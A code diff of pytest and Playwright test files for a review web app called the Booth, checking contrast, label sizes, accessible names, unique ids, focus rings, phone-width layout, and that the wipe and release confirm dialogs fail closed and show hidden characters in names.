m = re.search(prop + r"\s*:\s*oklch\(([\d.]+)\s+([\d.]+)\s+([\d.]+)(?:\s*/\s*([\d.]+))?\)", decl)
assert m, f"{prop} is not an oklch() colour in {decl!r}"
return _oklch_srgb(*map(float, m.groups()[:3])), float(m.group(4) or 1)
def test_review_arrows_hold_over_a_white_stage():
"""The worst stage is white: composite the chip over it in sRGB, as the
browser does, and measure the glyph against the result."""
decl = _rule((_T / "view.html").read_text(), ".vnav")
glyph, _ = _oklch(decl, r"(?<![-\w])color")
chip, alpha = _oklch(decl, "background")
under = [alpha * c + (1 - alpha) * 1.0 for c in chip]
a, b = _lum(glyph), _lum(under)
ratio = (max(a, b) + 0.05) / (min(a, b) + 0.05)
assert ratio >= 7, f"arrow glyph over the chip over white: {ratio:.2f}:1"
def _px(decl: str) -> float:
m = re.search(r"font(?:-size)?\s*:[^;]*?(?:(\d+(?:\.\d+)?)px|var\(--size-(micro|caption|sm|body)\))", decl)
assert m, decl
return float(m.group(1)) if m.group(1) else {"micro": 11, "caption": 12, "sm": 13, "body": 14}[m.group(2)]
def test_film_numbers_meet_the_label_floor():
assert _px(_rule((_T / "base.html").read_text(), ".film-ord")) >= 11
def test_mark_state_meets_the_label_floor():
assert _px(_rule((_T / "base.html").read_text(), ".mark-state")) >= 11
@pytest.mark.parametrize("selector", [".desk-rule", ".board-note", ".bench-note"])
def test_hint_lines_meet_the_sentence_floor(selector):
css = (_T / "base.html").read_text()
decls = [m.group(1) for m in re.finditer(r"(?:^|[}\s])" + re.escape(selector) + r"\s*\{([^}]*)\}", css)]
sizes = [_px(d) for d in decls if "font" in d]
assert sizes and min(sizes) >= 12, (selector, sizes)
def test_retired_benches_are_not_faded():
css = (_T / "base.html").read_text()
for m in re.finditer(r"([^{}]*is-retired[^{}]*)\{([^}]*)\}", css):
assert "opacity" not in m.group(2), m.group(0)
def _js_rule(js: str, selector: str) -> str:
"""embed.js carries its sheet as JS string literals: `".sel{...}"`."""
m = re.search(r'"' + re.escape(selector) + r"\{([^}]*)\}", js)
assert m, f"no rule for {selector!r} in embed.js"
return m.group(1)
def test_embed_fades_nothing():
js = _EMBED.read_text()
for sel in (".bk-ask-det", ".bk-ask-was", ".bk-ask-title"):
decl = _js_rule(js, sel)
assert "opacity" not in decl, (sel, decl)
assert not re.search(r'"\.bk-ask-was b\{', js), "a child restoring opacity means the parent fades"
ph = _js_rule(js, ".bk-ask-notes::placeholder")
assert "color:inherit" in ph.replace(" ", ""), ph
def test_the_ask_tag_meets_the_label_floor():
"""The inline ask's state tag is a label (`? your pick`, `✓ answered 28 Sep 0848`).
Its sheet is split over JS string literals, so read the font line that follows
the selector."""
js = _EMBED.read_text()
i = js.index('".bk-ask-tag{')
m = re.search(r"font:\d+ (\d+(?:\.\d+)?)px", js[i:i + 400])
assert m and float(m.group(1)) >= 11, m and m.group(0)
# ---- S6: the operator's rulings ------------------------------------------------------
def test_the_tagline_is_a_sentence(client):
c, data = client
html = c.get("/").text
m = re.search(r'<span class="tagline">(.*?)</span>', html, flags=re.S)
assert m and _text(m.group(1)) == "held for review · wipes in 24h unless kept", m and m.group(1)
# the BASE rule (the phone rule `body.page-stage .topbar .tagline` is S3's)
decl = re.search(r"\n\s*\.tagline\{([^}]*)\}", (_T / "base.html").read_text()).group(1)
assert "uppercase" not in decl and _px(decl) >= 12, decl
def test_needs_you_rows_carry_no_side_stripe():
decl = _rule((_T / "base.html").read_text(), ".desk-row.is-needs")
assert "inset" not in decl, decl
def test_the_brand_dot_is_matte():
decl = _rule((_T / "base.html").read_text(), ".brand .dot")
assert "box-shadow" not in decl, decl
# ---- S5a: accessibility plumbing (markup and CSS) --------------------------------
# Written after the code: each test is proved by its row in antislop.toml, which
# runs the change it forbids and must see it fail.
import html as _html
def _s5_booth(data):
"""A booth that renders every control the S5a claims cover: a doc, a file, an
image with a note and a flag, a titled single-question ask, and a board."""
from booth.marks import set_flag
b = data / "b"
b.mkdir()
(b / "notes.md").write_text("# Notes\n\ntext\n")
(b / "kit.zip").write_bytes(b"PK\x05\x06" + b"\x00" * 18)
(b / "a.png").write_bytes(_PNG)
(b / "c.png").write_bytes(_PNG)
set_flag(b, "a.png", True)
write_note(b, "a.png", "soft edges")
write_note(b, None, "about the booth")
declare_pick(b, "p1", {"title": "Round one", "prompt": "Which?", "options": ["North", "South"]})
# S5a fixup: a multi-question ask with per-question notes, and keys that end
# like the ids S5a derives from them (`-prompt`, `title`)
declare_pick(b, "p2", {"title": "Round two", "questions": [
{"key": "x-prompt", "prompt": "First?", "options": ["keep", "cut"], "notes": True},
{"key": "x", "prompt": "Second?", "options": ["keep", "cut"], "notes": True},
{"key": "title", "prompt": "Third?", "options": ["keep", "cut"]}]})
_s5_board(data)
return b
def _s5_board(data):
"""The link board, with a row and a bench: its controls are named too."""
from booth.benches import upsert_bench
from booth.links import LINKS_FILE
(data / "links").mkdir()
(data / "links" / LINKS_FILE).write_text("- [Booth](http://x.example/) <sub>· infra-ops · 2026-09-06 23:35</sub>\n")
upsert_bench(data, "http://10.100.10.50:5173/", "peedlar desk", "peedlar-dev")
_PNG = (b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde"
b"\x00\x00\x00\x0cIDATx\x9cc\xf8\xcf\xc0\x00\x00\x03\x01\x01\x00\xc9\xfe\x92\xef\x00\x00\x00\x00IEND\xaeB`\x82")
def _pages(c):
return {u: c.get(u).text for u in ("/", "/b/b/", "/b/b/view?f=a.png", "/b/b/compare?a=a.png&b=c.png",
"/b/b/marks", "/b/b/view?f=notes.md", "/b/links/")}
def _markup(page):
"""The page's own markup: script and style bodies are strings and comments
are prose (the stylesheet's comments name `<textarea>`), not elements."""
page = re.sub(r"<(script|style)\b.*?</\1>", " ", page, flags=re.S)
return re.sub(r"<!--.*?-->", " ", page, flags=re.S)
def _name(attrs, inner):
"""The accessible name, as far as markup decides it: aria-label wins, else
the text, counting each image's alt (an <img alt="a.png"> names its link)."""
m = re.search(r'aria-label="([^"]*)"', attrs)
if m:
return _html.unescape(m.group(1))
inner = re.sub(r'<img\b[^>]*\balt="([^"]*)"[^>]*>', r" \1 ", inner)
return _html.unescape(_text(inner))
def _controls(page):
for m in re.finditer(r"<(a|button)\b([^>]*)>(.*?)</\1>", _markup(page), flags=re.S):
if 'aria-hidden="true"' in m.group(2):
continue # a deliberate duplicate (the Desk's thumbnail link) is not a control
yield m.group(2), _name(m.group(2), m.group(3))
def test_every_control_has_a_word_for_a_name(client):
"""A control a screen reader announces as "×", "↗" or "01" has no name. Every
link and button's name, as the markup decides it, carries a word."""
c, data = client
_s5_booth(data)
for url, page in _pages(c).items():
seen = 0
for attrs, name in _controls(page):
seen += 1
assert re.search(r"[A-Za-z]", name), f"{url}: a control named {name!r}: {attrs[:120]}"
assert seen, f"{url}: no control found (positive control)"
def test_desk_row_controls_name_their_booth(client):
c, data = client
for n in ("alpha", "beta"):
(data / n).mkdir()
(data / n / "x.txt").write_text("x")
labels = re.findall(r'aria-label="(wipe the (?:kept )?booth [^"]+)"', c.get("/").text)
assert len(labels) == 2 and len(set(labels)) == 2 and any("alpha" in s for s in labels), labels
def test_fields_are_named(client):
c, data = client
_s5_booth(data)
pages = _pages(c)
pages["embed"] = " ".join(m["whole"] + m["submit"] for m in c.get("/b/b/embed.json").json()["marks"])
for url, page in pages.items():
for m in re.finditer(r"<(textarea|input)\b([^>]*)>", _markup(page), flags=re.S):
attrs = m.group(2)
if re.search(r'type="(hidden|radio|checkbox|submit)"', attrs):
continue
ok = "aria-label=" in attrs or re.search(r'id="([^"]+)"', attrs) and \
re.search(r'<label[^>]*for="%s"' % re.escape(re.search(r'id="([^"]+)"', attrs).group(1)), page)
assert ok, f"{url}: an unnamed field: {attrs[:120]}"
def test_radio_groups_are_named_and_ids_are_unique(client):
c, data = client
_s5_booth(data)
(m,) = [m for m in c.get("/b/b/embed.json").json()["marks"] if m["id"] == "p1"]
# The embed places an ask one of two ways: `whole` (title, questions and
# submit in one piece), or its questions one by one plus `submit`. Never both.
placements = {"whole": m["whole"], "parts": "".join(q["html"] for q in m["questions"]) + m["submit"]}
for how, frag in placements.items():
groups = re.findall(r'role="radiogroup" aria-labelledby="([^"]+)"', frag)
assert groups and all(f'id="{g}"' in frag for g in groups), (how, groups)
# the ASK ids are this slice's (a titled single ask emitted `bk-ask-<id>`
# twice). Mark ids (`mark-note-1`) also repeat across the tile and the
# aside; the CLI prints `#mark-<id>` links to them, so that one is
# reported, not changed here.
ids = re.findall(r'\bid="(bk-ask-[^"]+)"', frag)
dupes = {i for i in ids if ids.count(i) > 1}
assert ids and not dupes, (how, f"duplicate ask ids {sorted(dupes)[:5]}")
marks = c.get("/b/b/marks").text
for fs in re.findall(r"<fieldset\b.*?</fieldset>", marks, flags=re.S):
if 'type="radio"' in fs:
assert "<legend" in fs, fs[:160]
def test_every_page_has_one_h1_and_a_skip_link(client):
c, data = client
_s5_booth(data)
for url in ("/", "/b/b/", "/b/b/view?f=a.png", "/b/b/compare?a=a.png&b=c.png", "/b/b/marks"):
page = re.sub(r'<article class="markdown-body.*?</article>', " ", c.get(url).text, flags=re.S) # a doc's own h1 is content
assert len(re.findall(r"<h1\b", page)) == 1, (url, len(re.findall(r"<h1\b", page)))
assert re.search(r'<a class="skip-link" href="#main">', page) and 'id="main"' in page, url
def test_theme_color_for_both_schemes(client):
c, _ = client
page = c.get("/").text
for scheme in ("light", "dark"):
assert re.search(r'<meta name="theme-color" media="\(prefers-color-scheme: %s\)" content="#[0-9a-f]{6}">' % scheme, page), scheme
def test_the_tape_is_one_picture(client):
c, data = client
_s5_booth(data)
page = c.get("/b/b/view?f=a.png").text
assert re.search(r'<div class="tape" data-region="tape" role="img" aria-label="', page)
segs = re.findall(r'<a class="tape-s[^>]*>', page, flags=re.S)
assert segs and all('tabindex="-1"' in s and 'aria-hidden="true"' in s for s in segs), segs[:2]
def test_wipe_now_asks_by_name(client):
c, data = client
_s5_booth(data)
page = c.get("/b/b/").text
form = re.search(r'<form class="wipe wipe-lg"[^>]*>', page, flags=re.S).group(0)
assert 'data-booth="b"' in form and 'data-confirm="wipe"' in form and "onsubmit" not in form, form
assert "var WORDS = Object.create(null);" in page, "the shared confirm helper is on the booth page"
def test_human_dur_rolls_up_to_days():
from booth.app import human_dur
assert human_dur(47 * 3600) == "47h"
assert human_dur(48 * 3600) == "2d"
assert human_dur(167 * 3600 + 12 * 60) == "6d 23h"
def test_embed_chrome_draws_its_own_focus_rings():
js = _EMBED.read_text()
assert re.search(r'"\.booth-nav-home:focus-visible,\.booth-nav-asks:focus-visible\{outline:2px solid', js)
assert re.search(r'"\.bk-ask-go:focus-visible\{outline:2px solid', js)
assert re.search(r'"\.bk-ask-opt:has\(input:focus-visible\)\{outline:2px solid', js)
def test_focus_rings_are_drawn_inside_clipping_containers():
css = (_T / "base.html").read_text()
m = re.search(r"\.theme button:focus-visible,\.vtoggle button:focus-visible,\.item a:focus-visible,\s*\.desk-panel a:focus-visible\{outline-offset:-2px\}", css)
assert m
def test_a_truncated_why_carries_its_full_text(client):
c, data = client
b = data / "w"
b.mkdir()
(b / "x.txt").write_text("x")
(b / ".booth.json").write_text('{"handle": "design-dev", "why": "a long reason that the Desk truncates with an ellipsis"}')
page = c.get("/").text
assert re.search(r'<span class="prov-why" title="a long reason that the Desk truncates with an ellipsis">', page)
# ---- S5a fixup: booth-dev's gate (hulda bug-hunt + heid BRINGA, thread 01M3MVGQ7QSCCK8WT59TQ4J469) ----
def test_no_id_repeats_on_any_page(client):
"""An id names one element. The tile's copy of a note used to repeat the
panel article's `mark-<id>` (booth-dev: the id is the article's); a question
key ending in `-prompt`, or named `title`, repeated the ids S5a derived."""
c, data = client
_s5_booth(data)
pages = _pages(c)
for m in c.get("/b/b/embed.json").json()["marks"]:
pages[f"embed {m['id']} whole"] = m["whole"]
pages[f"embed {m['id']} parts"] = "".join(q["html"] for q in m["questions"]) + m["submit"]
for url, page in pages.items():
ids = re.findall(r'\sid="([^"]+)"', _markup(page))
dupes = sorted({i for i in ids if ids.count(i) > 1})
assert not dupes, (url, dupes[:5])
for ref in re.findall(r'aria-labelledby="([^"]+)"', page):
assert f'id="{ref}"' in page, (url, ref)
def test_release_on_the_booth_page_asks_by_name(client):
c, data = client
b = data / "k"
b.mkdir()
(b / "x.txt").write_text("x")
(b / ".forever").write_text("")
page = c.get("/b/k/").text
form = re.search(r'<form class="keep-lg"[^>]*>', page).group(0)
assert 'data-booth="k"' in form and 'data-confirm="release"' in form, form
def test_the_confirm_helper_is_listening_before_the_body_exists(client):
"""A click while the page is still loading must be asked too: the capture
listener is registered in <head>, not after the footer."""
c, data = client
_s5_booth(data)
for url in ("/", "/b/b/"):
page = c.get(url).text
assert page.index("function shown(n)") < page.index("</head>"), url
def test_human_dur_never_raises():
from booth.app import human_dur
for bad in (float("nan"), float("inf"), float("-inf")):
assert isinstance(human_dur(bad), str), bad
# ---- S5b: one status line per page, never hidden --------------------------------
def test_one_status_line_per_page(client):
"""Exactly one `data-region="status"` on every kind of page, never `hidden`,
and inside no other `data-region` (a swap would replace it mid-message)."""
from html.parser import HTMLParser
from booth.links import LINKS_FILE
c, data = client
_s5_booth(data)
void = {"input", "img", "br", "meta", "link", "hr", "source", "wbr", "col", "area", "base", "embed", "track"}
class Lines(HTMLParser):
def __init__(self):
super().__init__()
self.stack, self.found = [], []
def handle_starttag(self, tag, attrs):
a = dict(attrs)
if a.get("data-region") == "status":
self.found.append((tag, a, [r for r in self.stack if r]))
if tag not in void:
self.stack.append(a.get("data-region"))
def handle_endtag(self, tag):
if tag not in void and self.stack:
self.stack.pop()
assert (data / "links" / LINKS_FILE).exists()
for url, page in _pages(c).items():
p = Lines()
p.feed(page)
assert len(p.found) == 1, (url, len(p.found))
tag, attrs, outer = p.found[0]
assert "hidden" not in attrs, url
assert attrs.get("role") == "status" and attrs.get("aria-live") == "polite", (url, attrs)
assert not outer, (url, outer)
def test_the_in_place_client_can_read_every_page(client):
"""What the in-place client assumes about the pages it swaps (heid bug-hunt
R7, R11, accepted as true today and pinned here): no in-place form holds a
control `dirty()` cannot read (a <select>, or an input that is not text,
radio, checkbox, hidden or submit), and no `data-region` sits inside another
(a nested region is replaced inside a detached tree)."""
from html.parser import HTMLParser
c, data = client
_s5_booth(data)
void = {"input", "img", "br", "meta", "link", "hr", "source", "wbr", "col", "area", "base", "embed", "track"}
class Pages(HTMLParser):
def __init__(self):
super().__init__()
self.stack, self.inplace, self.odd, self.nested = [], 0, [], []
def handle_starttag(self, tag, attrs):
a = dict(attrs)
if tag == "form" and "data-inplace" in a:
self.inplace += 1
if self.inplace and (tag == "select" or (tag == "input" and a.get("type", "text")
not in ("hidden", "radio", "checkbox", "text", "submit"))):
self.odd.append((tag, a.get("type")))
if a.get("data-region") and any(self.stack):
self.nested.append(a["data-region"])
if tag not in void:
self.stack.append(a.get("data-region"))
def handle_endtag(self, tag):
if tag == "form" and self.inplace:
self.inplace -= 1
if tag not in void and self.stack:
self.stack.pop()
for url, page in _pages(c).items():
p = Pages()
p.feed(page)
assert not p.odd, (url, p.odd)
assert not p.nested, (url, p.nested)
+350
View File
@@ -0,0 +1,350 @@
"""S3 of the anti-slop fix slices, measured in a real browser at phone width.
A layout claim read off a stylesheet is a guess, so these open the pages in the
same real uvicorn + Chromium harness as test_flow_browser and measure boxes. At
390x844 no text may overprint other text, and no word may be set in a column
narrower than itself. Skips, never fails, when no usable Chromium exists.
"""
import pathlib
import sys
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from test_flow_browser import _png, browser, live # noqa: E402,F401 (fixtures)
PHONE = {"width": 390, "height": 844}
def _boxes_intersect(a, b, slack=1.0):
return (min(a["r"], b["r"]) - max(a["l"], b["l"]) > slack
and min(a["b"], b["b"]) - max(a["t"], b["t"]) > slack)
_RECT = "e => { const b = e.getBoundingClientRect(); return {l: b.left, r: b.right, t: b.top, b: b.bottom, w: b.width, h: b.height}; }"
def _board(root: pathlib.Path):
from booth.benches import set_bench_state, upsert_bench
from booth.links import LINKS_FILE
b = root / "links"
b.mkdir()
(b / LINKS_FILE).write_text(
"- [talk, a fleet voice (HTTPS, trusted cert)](https://talk.example:8092/) <sub>· tts-dev · 2026-09-06 23:35</sub>\n"
"- [a second link](http://x.example/) <sub>· infra-ops · 2026-09-07 09:12</sub>\n")
for url, name, owner, state in [("http://10.100.10.50:5173/", "peedlar desk", "peedlar-dev", "live"),
("http://10.100.10.50:8931/board", "svos board", "highseat-dev", "promoted"),
("http://10.100.10.50:7788/talk", "talk demo", "booth", "retired")]:
bench, _ = upsert_bench(root, url, name, owner)
set_bench_state(root, bench.id, state)
return b
def test_bench_rows_do_not_overprint_on_a_phone(browser, live):
base, root = live
_board(root)
page = browser.new_page(viewport=PHONE)
page.goto(f"{base}/b/links/", wait_until="load")
rows = page.locator(".bench-row")
assert rows.count() == 3, "positive control: the three benches render"
for i in range(rows.count()):
row = rows.nth(i)
parts = {sel: row.locator(sel).first.evaluate(_RECT)
for sel in (".bench-state", ".bench-link", ".bench-url", ".bench-who", ".bench-when", ".bench-acts")}
names = list(parts)
for x in range(len(names)):
for y in range(x + 1, len(names)):
assert not _boxes_intersect(parts[names[x]], parts[names[y]]), \
f"row {i}: {names[x]} overprints {names[y]}: {parts[names[x]]} / {parts[names[y]]}"
main = row.locator(".bench-main").evaluate(_RECT)
assert main["w"] >= 200, f"row {i}: the name's column is squeezed to {main['w']:.0f}px"
page.close()
def test_board_head_stays_compact_on_a_phone(browser, live):
base, root = live
_board(root)
page = browser.new_page(viewport=PHONE)
page.goto(f"{base}/b/links/", wait_until="load")
for sel in (".board-title", ".bench-title"):
title = page.locator(sel).evaluate(
"e => ({h: e.getBoundingClientRect().height, lh: parseFloat(getComputedStyle(e).lineHeight) || parseFloat(getComputedStyle(e).fontSize) * 1.3})")
assert title["h"] <= title["lh"] * 1.5, f"{sel} wraps: {title}"
page.close()
def test_doc_name_keeps_a_readable_line_on_a_phone(browser, live):
base, root = live
d = root / "d"
d.mkdir()
(d / "01-information-architecture.md").write_text("# The Booth\n\nA paragraph of text.\n")
page = browser.new_page(viewport=PHONE)
page.goto(f"{base}/b/d/", wait_until="load")
name = page.locator(".doc-name").first.evaluate(_RECT)
assert name["w"] >= 240, f"the doc name is set {name['w']:.0f}px wide"
page.close()
def test_file_tile_number_clears_the_download_link(browser, live):
base, root = live
f = root / "f"
f.mkdir()
(f / "ldp-demo-kit-2026-09-23-18b8cee.zip").write_bytes(b"PK\x05\x06" + b"\x00" * 18)
for vp in (PHONE, {"width": 1280, "height": 800}):
page = browser.new_page(viewport=vp)
page.goto(f"{base}/b/f/", wait_until="load")
ord_box = page.locator(".item > .ord").first.evaluate(_RECT)
text_box = page.locator(".item .dl").first.evaluate(
"e => { const r = document.createRange(); r.selectNodeContents(e); const b = r.getBoundingClientRect();"
" return {l: b.left, r: b.right, t: b.top, b: b.bottom, w: b.width, h: b.height}; }")
assert not _boxes_intersect(ord_box, text_box), (vp, ord_box, text_box)
page.close()
def test_review_header_is_one_line_on_a_phone(browser, live):
base, root = live
g = root / "g"
g.mkdir()
(g / "a.png").write_bytes(_png(64, 48))
(g / "b.png").write_bytes(_png(64, 48))
page = browser.new_page(viewport=PHONE)
for url in (f"{base}/b/g/view?f=a.png", f"{base}/b/g/compare?a=a.png&b=b.png"):
page.goto(url, wait_until="load")
assert page.locator(".topbar .tagline").evaluate("e => getComputedStyle(e).display") == "none", url
assert page.locator(".topbar").evaluate("e => e.getBoundingClientRect().height") <= 64, url
page.goto(f"{base}/", wait_until="load")
assert page.locator(".topbar .tagline").evaluate("e => getComputedStyle(e).display") != "none", \
"the Desk keeps its tagline (negative control)"
page.close()
# ---- S4: reading measure --------------------------------------------------------
_DOC = "# The Booth\n\n## What it is\n\n### Stated once\n\n" + ("The Booth is the fleet's operator-review surface. Agents post work; the operator looks at it, judges it, and the judgment gets back to the agent. " * 4) + "\n"
def _doc_page(browser, live):
base, root = live
d = root / "d"
d.mkdir()
(d / "doc.md").write_text(_DOC)
page = browser.new_page(viewport={"width": 1280, "height": 900})
page.goto(f"{base}/b/d/view?f=doc.md", wait_until="load")
return page
def test_doc_prose_reads_at_a_book_measure(browser, live):
page = _doc_page(browser, live)
chars = page.locator(".markdown-body p").first.evaluate("""p => {
const probe = document.createElement('span');
probe.textContent = '0'.repeat(100);
probe.style.cssText = 'position:absolute;visibility:hidden;white-space:nowrap';
p.appendChild(probe);
const ch = probe.getBoundingClientRect().width / 100;
probe.remove();
return p.getBoundingClientRect().width / ch;
}""")
assert chars <= 76, f"a paragraph runs {chars:.0f} characters across"
page.close()
def test_doc_headings_step_by_size(browser, live):
page = _doc_page(browser, live)
size = lambda sel: page.locator(f".markdown-body {sel}").first.evaluate("e => parseFloat(getComputedStyle(e).fontSize)")
body, h3, h2, h1 = size("p"), size("h3"), size("h2"), size("h1")
for lo, hi, name in ((body, h3, "h3:body"), (h3, h2, "h2:h3"), (h2, h1, "h1:h2")):
assert hi / lo >= 1.18, f"{name} is {hi / lo:.2f} ({hi}px over {lo}px)"
page.close()
# ---- S6: the hazard stripe on a pseudo-element -----------------------------------
def test_the_hazard_stripe_is_a_pseudo_element(browser, live):
base, root = live
(root / "w").mkdir()
(root / "w" / "a.txt").write_text("x")
page = browser.new_page(viewport={"width": 1280, "height": 800})
page.goto(f"{base}/b/w/", wait_until="load")
got = page.locator(".wipe-lg button").evaluate("""b => {
const own = getComputedStyle(b), pre = getComputedStyle(b, '::before');
return {own: own.backgroundImage, pre: pre.backgroundImage, h: pre.height, content: pre.content};
}""")
assert got["own"] == "none", f"the button paints its own stripe: {got['own'][:80]}"
assert "repeating-linear-gradient" in got["pre"] and got["h"] == "3px" and got["content"] != "none", got
page.close()
# ---- S5a: hit areas, and Wipe now asks by name -------------------------------------
def test_withdraw_buttons_are_big_enough_to_hit(browser, live):
from booth.marks import write_note
base, root = live
g = root / "g"
g.mkdir()
(g / "a.png").write_bytes(_png(64, 48))
write_note(g, "a.png", "soft")
for ctx_args, floor in (({"viewport": {"width": 1280, "height": 800}}, 24),
({"viewport": PHONE, "is_mobile": True, "has_touch": True}, 44)):
ctx = browser.new_context(**ctx_args)
page = ctx.new_page()
page.goto(f"{base}/b/g/marks", wait_until="load") # visible at both widths
box = page.locator(".mark-x").first.evaluate(
"e => { const r = e.getBoundingClientRect(); return Math.min(r.width, r.height); }")
assert box >= floor, (ctx_args, box)
ctx.close()
def test_wipe_now_asks_by_name_in_the_browser(browser, live):
base, root = live
for name, kept in (("alpha", False), ("beta", True)):
(root / name).mkdir()
(root / name / "x.txt").write_text("x")
if kept:
(root / name / ".forever").write_text("")
page = browser.new_page(viewport={"width": 1280, "height": 800})
page.goto(f"{base}/b/{name}/", wait_until="load")
said = []
page.on("dialog", lambda d: (said.append(d.message), d.dismiss()))
page.locator(".wipe-lg button").click()
page.wait_for_timeout(300)
assert said and f"“{name}”" in said[0], said
assert ("KEPT" in said[0]) == kept, said[0]
assert (root / name).exists(), "dismissing the prompt must not wipe"
page.close()
def test_touch_and_scroll_behaviour(browser, live):
"""No double-tap zoom delay on a control; the film strip does not hand its
scroll to the page at its end; a long booth slug wraps on a phone instead of
running off the edge (measured on COMPUTED style, not the stylesheet)."""
base, root = live
g = root / "a-very-long-booth-name-that-runs-off-a-phone-screen-2026-09-28"
g.mkdir()
(g / "a.png").write_bytes(_png(64, 48))
(g / "b.png").write_bytes(_png(64, 48))
(g / ".booth.json").write_text('{"handle": "design-dev", "title": "Review"}') # the slug shows beside a title
page = browser.new_page(viewport=PHONE)
page.goto(f"{base}/b/{g.name}/view?f=a.png", wait_until="load")
assert page.locator(".vbar a.vx").evaluate("e => getComputedStyle(e).touchAction") == "manipulation"
assert page.locator(".film").evaluate("e => getComputedStyle(e).overscrollBehaviorX") == "contain"
page.goto(f"{base}/b/{g.name}/", wait_until="load")
slug = page.locator(".h1-slug").evaluate(
"e => ({ws: getComputedStyle(e).whiteSpace, r: e.getBoundingClientRect().right, vw: innerWidth})")
assert slug["ws"] == "normal" and slug["r"] <= slug["vw"], slug
page.close()
# ---- S5a fixup: the confirm helper, and the rings on COMPUTED style ------------------------
def _dialog_texts(page):
said = []
page.on("dialog", lambda d: (said.append(d.message), d.dismiss()))
return said
def test_release_on_the_booth_page_asks_in_the_browser(browser, live):
base, root = live
b = root / "kept"
b.mkdir()
(b / "x.txt").write_text("x")
(b / ".forever").write_text("")
page = browser.new_page(viewport={"width": 1280, "height": 800})
page.goto(f"{base}/b/kept/", wait_until="load")
said = _dialog_texts(page)
page.locator(".keep-lg button").click()
page.wait_for_timeout(300)
page.close()
assert said and "“kept”" in said[0] and "Release" in said[0], said
assert (b / ".forever").exists(), "dismissing must not release"
def test_a_prototype_word_still_asks(browser, live):
"""A `data-confirm` naming a property every object inherits is an unknown
word, and an unknown word asks (fail closed)."""
base, root = live
b = root / "g"
b.mkdir()
(b / "x.txt").write_text("x")
page = browser.new_page()
page.goto(f"{base}/b/g/", wait_until="load")
said = _dialog_texts(page)
words = ["__proto__", "constructor", "toString", "hasOwnProperty", "valueOf"]
for w in words:
page.evaluate("""w => { const f = document.createElement('form');
f.method = 'post'; f.action = '/b/g/delete';
f.setAttribute('data-confirm', w); f.setAttribute('data-booth', 'g');
document.body.appendChild(f); f.requestSubmit(); f.remove(); }""", w)
page.wait_for_timeout(100)
page.close()
assert len(said) == len(words), said
assert (b / "x.txt").exists()
def test_the_dialog_shows_hidden_breaks_and_zero_widths_visibly(browser, live):
import urllib.parse
base, root = live
name = "a
b
c​d⁠e"
b = root / name
b.mkdir()
(b / "x.txt").write_text("x")
page = browser.new_page()
page.goto(f"{base}/b/{urllib.parse.quote(name)}/", wait_until="load")
said = _dialog_texts(page)
page.locator(".wipe-lg button").click()
page.wait_for_timeout(300)
page.close()
assert said, "positive control: Wipe now asked"
for ch in "

​⁠":
assert ch not in said[0], (hex(ord(ch)), said[0])
assert said[0].count("�") == 5, said[0]
_RING = """e => { const cs = getComputedStyle(e);
return {fv: e.matches(':focus-visible'), style: cs.outlineStyle, width: cs.outlineWidth,
color: cs.outlineColor, offset: cs.outlineOffset}; }"""
_ALPHA = """c => { const m = c.match(/rgba?\\(([^)]+)\\)/); const p = m ? m[1].split(',') : [];
return p.length > 3 ? parseFloat(p[3]) : 1; }"""
def _keyboard_focus(page, selector):
page.keyboard.press("Shift") # keyboard modality: focus() is then :focus-visible
loc = page.locator(selector).first
loc.focus()
return loc.evaluate(_RING)
def test_rings_inside_clipping_containers_are_drawn_inside(browser, live):
from booth.benches import upsert_bench
base, root = live
g = root / "g"
g.mkdir()
(g / "a.png").write_bytes(_png(64, 48))
upsert_bench(root, "http://10.100.10.50:5173/", "peedlar desk", "peedlar-dev") # a Desk panel with a link
page = browser.new_page(viewport={"width": 1280, "height": 800})
for url, sel in (("/", ".theme button"), ("/", ".desk-panel a"), ("/b/g/", ".item a")):
page.goto(base + url, wait_until="load")
ring = _keyboard_focus(page, sel)
assert ring["fv"] and ring["offset"] == "-2px", (url, sel, ring)
page.close()
def test_the_embed_draws_visible_rings(browser, live):
from booth.marks import declare_pick
base, root = live
b = root / "r"
b.mkdir()
declare_pick(b, "winner", {"prompt": "Which?", "options": ["A", "B"]})
(b / "index.html").write_text(
'<!doctype html><html><head><script src="/_booth/embed.js" defer></script>'
'<style>*:focus{outline:none}</style></head>' # a host that removes rings
'<body><h1>Report</h1><div data-booth-ask="winner"></div></body></html>')
page = browser.new_page()
page.goto(f"{base}/b/r/", wait_until="networkidle")
page.wait_for_selector(".bk-ask-go", timeout=10000)
for sel in (".booth-nav-home", ".bk-ask-go"):
ring = _keyboard_focus(page, sel)
alpha = page.evaluate(_ALPHA, ring["color"])
assert ring["fv"] and ring["style"] == "solid" and ring["width"] == "2px" and alpha == 1, (sel, ring)
page.close()
+96
View File
@@ -0,0 +1,96 @@
"""S2 of the anti-slop fix slices, read off the browser's COMPUTED style.
The string tests in test_antislop.py read the stylesheet; a later rule in the
cascade (`font-size:1px`, `color:transparent`, `filter:grayscale`, a placeholder
at `opacity:0`) passes them and is still illegible (heid bug-hunt guard grid).
These open the pages in the real uvicorn + Chromium harness and read what the
browser will actually paint. Skips, never fails, when no usable Chromium exists.
"""
import pathlib
import sys
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from test_flow_browser import _png, browser, live # noqa: E402,F401 (fixtures)
WIDE = {"width": 1280, "height": 800}
def _seed(root: pathlib.Path):
from booth.benches import set_bench_state, upsert_bench
from booth.links import LINKS_FILE
from booth.marks import answer_pick, declare_pick, marks_for
g = root / "g"
g.mkdir()
for n in ("a.png", "b.png"):
(g / n).write_bytes(_png(64, 48))
from booth.marks import set_flag
set_flag(g, "a.png", True) # the tray's number, the tile's stamp
declare_pick(g, "p1", {"prompt": "Which?", "options": ["North", "South"]})
answer_pick(g, "p1", "North", who="127.0.0.1")
r = root / "r"
r.mkdir()
(r / "index.html").write_text("<!doctype html><title>r</title><body><h1>R</h1><p>body</p></body>")
declare_pick(r, "p2", {"title": "Round one", "prompt": "Which gate?", "notes": True,
"options": [{"id": "n", "label": "North", "detail": "the gate by the road"},
{"id": "s", "label": "South", "detail": "the loading dock"}]})
answer_pick(r, "p2", marks_for(r)[0].options[0]["id"], who="127.0.0.1")
board = root / "links"
board.mkdir()
(board / LINKS_FILE).write_text("- [x](http://x.example/) <sub>· infra-ops · 2026-09-06 23:35</sub>\n")
bench, _ = upsert_bench(root, "http://10.100.10.50:7788/talk", "talk demo", "booth")
set_bench_state(root, bench.id, "retired")
def _size(page, sel):
